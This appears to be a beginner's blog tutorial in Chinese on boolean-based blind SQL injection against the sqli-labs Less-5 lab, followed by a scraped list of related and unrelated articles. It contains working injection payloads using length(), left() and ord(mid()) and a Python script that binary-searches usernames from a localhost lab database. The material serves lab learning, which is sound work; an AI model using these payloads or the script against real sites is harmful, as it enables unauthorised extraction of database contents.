WEB新手之布尔盲注
开始写SQL的题,单引号等特殊符号闭合漏洞比较简单,因此从Less-5开始写。
布尔盲注是多种盲注的一种,这种盲注方法也比较好理解。但使用这种盲注有一个前提,就是网页会有回显,透过这个回显,我们可以通过判断,来获得所需的信息。
以Less-5为例题,如图所示:

加上id=1,会发现这样的回显,如图所示:

然后利用Less-1~4的知识,发现这里的语句使用单引号闭合的,并且用联合查询语句会依然回显“You are in......”。因此,简单的联合查询语句是行不通的。
由于存在单引号闭合漏洞,我们可以使用and并且结合相关的语句对数据库信息进行猜测。
首先得得出数据库长度,利用length()函数,payload如下:

然后这里发现该语句没有回显,如图所示:

长度不为5,再通过多次尝试,爆出数据库名长度为8,如图所示:

知道了库名长度后,再使用left()函数进行注入。先说一下left()函数,该函数有两个参数,第一参数是需要进行截取的字符串对象,第二个参数是该字符串从左到右的第几个字符。payload如下图所示:

通过一个个的尝试,会发现当left(database(),1)='s'时,回显正常。因此数据库的第一个字符为s,接下来的数据如法炮制。
当然,如果这样一个个的尝试,犹如大海捞针,因此我们通常使用脚本进行注入。这里使用了二分法,代码如下图所示:
# -*-coding:utf8-*-
import requests
url = "http://localhost:81/SQLI-LABS/sqli-labs-master/Less-5/?id=1%s"
payload = "' and ord(mid((select username from users limit 0,1),%s,1))>%s --+"
result =''
print "start to get the result: "
for i in range(1, 20):
max = 122 #z
min = 65 #A
while abs(max-min)>1:
mid = int((max+min)/2)
p = payload % (str(i), str(mid))
response = requests.get(url % p)
if response.content.find("You are in") != -1:
min = mid
else:
max = mid
result = result+chr(max)
print ("the result is %s" % result)
需要注意的是,这里的%s是字符串占位符,代表一个字符串对象,可以放置不同的字符串。
最终通过脚本获得flag。
WEB新手之布尔盲注的更多相关文章
- WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注
1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...
- sqli-labs lesson5-6 布尔盲注 报错注入 延时注入
LESSON 5: 典型的布尔盲注. 盲注:sql注入过程中,sql语句的执行结果不回显到前端,这个时候就只能用一些别的方法进行判断或者尝试,这个判断或者尝试就叫做盲注.盲注又分为:1.基于布尔SQL ...
- SQL注入之Sqli-labs系列第八篇(基于布尔盲注的注入)
开始挑战第八关(Blind- Boolian- Single Quotes- String) 这关首先需要用到以下函数: 开始测试,使用测试语句,利用单引号进行闭合 猜解字段 union select ...
- 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注
前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...
- sql布尔盲注和时间盲注的二分脚本
布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...
- python dvwa布尔盲注自动化脚本(level=low)
仅供学习代码参考 1#python dvwa布尔盲注自动化脚本 2 import requests 3 import string 4 import time 5 INIT_URL="htt ...
- sqli-labs less8-10(布尔盲注时间盲注)
less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and len ...
- sqli-labs lesson 7-10 (文件导出,布尔盲注,延时注入)
写在前面: 首先需要更改一下数据库用户的权限用于我们之后的操作. 首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的 ...
- 大哥带我走渗透ii--时间盲注,布尔盲注
5/27 基于布尔的盲注 我连题目都看不懂555,先去补充一点知识.https://blog.csdn.net/weixin_40709439/article/details/81355856 返回的 ...
随机推荐
- Linux 清除N天前的 日期文件夹(yyyy-MM-dd)
本人碰到模糊目录移除,小记一下 1:准确目录情况 2:模糊目录情况 先来介绍准备目录情况 本人在网上找到的demo, 目录结构(在/root/zlogs) 脚本文件b.sh #!/bin/bash ...
- 小学生福利web及APP原型展示
332熊哲琛 320刘佳 原型作业地址 https://edu.cnblogs.com/campus/fzzcxy/2016SE/home work/2180 原型设计链接 https://modao ...
- 介绍MVC编程架构模式
MVC(Model/View/Controller)模式是国外用得比较多的一种框架模式,最早是在Smaltalk中出现.MVC包括三类对象. Model——是应用对象 View——是它在屏幕上的表示 ...
- 最长无重复字符的子串 · Longest Substring Without Repeating Characters
[抄题]: 给定一个字符串,请找出其中无重复字符的最长子字符串. 例如,在"abcabcbb"中,其无重复字符的最长子字符串是"abc",其长度为 3. 对于, ...
- dwz监听日期变化,dwz日期控件onchange不起作用,dwz框架时间控件不支持onchange事件
转载自:http://blog.csdn.net/sp308036654/article/details/50638348 <input type="text" class= ...
- 特性(property)
6.4 特性(property) 1 什么是特性property property是一种特殊的属性,访问它时会执行一段功能(函数)然后返回值 import math class Circle: def ...
- 分布式理论系列(三)ZAB 协议
分布式理论系列(三)ZAB 协议 在学习了 Paxos 后,接下来学习 Paxos 在开源软件 Zookeeper 中的应用. 一.Zookeeper Zookeeper 致力于提供一个高性能.高可用 ...
- .net手动编写Windows服务
1,打开VS,新建一个windows服务程序.项目名称自定义,我这里用的默认名称:Service1 2,打开Service1,按F7查看代码.代码里有三个方法:public Service1().pr ...
- C#多线程数据分布加载
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.T ...
- c# 调用外包程序 等待处理完成结果
string root = @"J:\yaoqianshu"; string pythonPath = "解压缩拷贝启动动画测试(新).py"; string ...